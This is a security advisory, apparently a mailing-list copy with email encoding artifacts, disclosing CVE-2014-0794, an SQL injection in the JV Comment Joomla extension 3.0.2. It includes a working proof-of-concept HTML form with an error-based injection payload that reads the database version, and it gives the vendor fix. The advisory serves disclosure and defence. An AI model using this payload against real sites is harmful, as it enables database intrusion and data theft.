Advisory ID: HTB23195
Product: JV Comment Joomla Extension
Vendor: joomlavi.com
Vulnerable Version(s): 3.0.2 and probably prior
Tested Version: 3.0.2
Advisory Publication: January 2, 2014 [without technical details]
Vendor Notification: January 2, 2014=20
Vendor Patch: January 14, 2014=20
Public Disclosure: January 23, 2014=20
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-0794
Risk Level: Medium=20
CVSSv2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
---------------------------------------------------------------------------=
--------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered SQL injection vulnerabili=
ty in JV Comment Joomla Extension, which can be exploited to perform SQL In=
jection attacks.
1) SQL Injection in JV Comment Joomla Extension: CVE-2014-0794
The vulnerability exists due to insufficient validation of "id" HTTP POST p=
arameter passed to "/index.php" script. A remote authenticated attacker can=
execute arbitrary SQL commands in application's database.
The following exploitation example displays version of MySQL database:
<form action=3D"http://[host]/index.php" method=3D"post" name=3D"main">
<input type=3D"hidden" name=3D"option" value=3D"com_jvcomment">
<input type=3D"hidden" name=3D"task" value=3D"comment.like">
<input type=3D"hidden" name=3D"id" value=3D"1 AND 1=3D(select min(@a:=
=3D1)from (select 1 union select 2)k group by (select concat(@@version,0x0,=
@a:=3D(@a+1)%2)))">
<input type=3D"submit" id=3D"btn">
</form>
---------------------------------------------------------------------------=
--------------------
Solution:
Update to JV Comment 3.0.3
More Information:
http://extensions.joomla.org/extensions/contacts-and-feedback/articles-comm=
ents/23394
---------------------------------------------------------------------------=
--------------------
References:
[1] High-Tech Bridge Advisory HTB23195 - https://www.htbridge.com/advisory/=
HTB23195 - SQL Injection in JV Comment Joomla Extension.
[2] JV Comment Joomla Extension - http://www.joomlavi.com/joomla-extensions=
/jv-comment.html - With JV Comment, adding a comment system to your article=
s is now as simple as installing a plug-in and adjusting a few parameters=
=2E
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.
[5] ImmuniWeb=C2=AE - http://www.htbridge.com/immuniweb/ - is High-Tech Bri=
dge's proprietary web application security assessment solution with SaaS de=
livery model that combines manual and automated vulnerability testing.
---------------------------------------------------------------------------=
--------------------
Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.